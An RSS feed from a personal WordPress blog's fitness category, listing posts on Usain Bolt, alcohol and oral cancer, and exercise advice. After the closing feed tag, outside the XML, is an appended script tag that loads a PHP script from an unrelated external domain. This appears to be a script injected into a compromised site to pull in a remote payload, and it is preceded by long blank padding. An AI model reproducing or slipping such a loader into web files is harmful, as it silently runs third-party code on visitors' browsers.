



































































<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Musings of a Madman &#187; Fitness</title>
	<atom:link href="http://mbno.com/rupert/category/fitness/feed" rel="self" type="application/rss+xml" />
	<link>http://mbno.com/rupert</link>
	<description>A Place for Me to Stop and Reflect</description>
	<lastBuildDate>Wed, 21 Jul 2010 11:01:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Jamaica&#8217;s Usain Bolt Captivates World Athletics Fans</title>
		<link>http://mbno.com/rupert/fitness/jamaicas-usain-bolt-captivates-world-athletics-fans</link>
		<comments>http://mbno.com/rupert/fitness/jamaicas-usain-bolt-captivates-world-athletics-fans#comments</comments>
		<pubDate>Sat, 22 Aug 2009 00:38:49 +0000</pubDate>
		<dc:creator>Rupert</dc:creator>
				<category><![CDATA[Fitness]]></category>

		<guid isPermaLink="false">http://mbno.com/rupert/mad-musing/jamaicas-usain-bolt-captivates-world-athletics-fans</guid>
		<description><![CDATA[Jamaican Usain Bolt is making his case for being the greatest sprinter of all-time at the World Athletics Championships in Germany. In addition to his enormous talent, there are many other facets to the young runner&#8217;s personality. Who exactly is Usain Bolt? The facts are easy. He is from Jamaica, 1.96 meters tall, has a [...]]]></description>
		<wfw:commentRss>http://mbno.com/rupert/fitness/jamaicas-usain-bolt-captivates-world-athletics-fans/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drink Blamed for Oral Cancer Rise</title>
		<link>http://mbno.com/rupert/fitness/drink-blamed-for-oral-cancer-rise</link>
		<comments>http://mbno.com/rupert/fitness/drink-blamed-for-oral-cancer-rise#comments</comments>
		<pubDate>Wed, 12 Aug 2009 19:41:23 +0000</pubDate>
		<dc:creator>Rupert</dc:creator>
				<category><![CDATA[Fitness]]></category>
		<category><![CDATA[cancer]]></category>

		<guid isPermaLink="false">http://mbno.com/rupert/fitness/drink-blamed-for-oral-cancer-rise</guid>
		<description><![CDATA[Alcohol is largely to blame for an "alarming" rise in the rate of oral cancers among men and women …]]></description>
		<wfw:commentRss>http://mbno.com/rupert/fitness/drink-blamed-for-oral-cancer-rise/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Exercise</title>
		<link>http://mbno.com/rupert/workout-log/how-to-exercise</link>
		<comments>http://mbno.com/rupert/workout-log/how-to-exercise#comments</comments>
		<pubDate>Sat, 13 Dec 2008 09:39:53 +0000</pubDate>
		<dc:creator>Rupert</dc:creator>
				<category><![CDATA[Fitness]]></category>
		<category><![CDATA[Workout Log]]></category>

		<guid isPermaLink="false">http://mbno.com/rupert/?p=318</guid>
		<description><![CDATA[HOW TO EXERCISE Make a commitment to invest at least four hours per week to exercise. Aim for 30-60 minute workouts 3 times per week to support a healthy body and mind. As soon as you feel your enthusiasm decreasing, try a different activity. Team up with a friend. Having a buddy who is committed [...]]]></description>
		<wfw:commentRss>http://mbno.com/rupert/workout-log/how-to-exercise/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>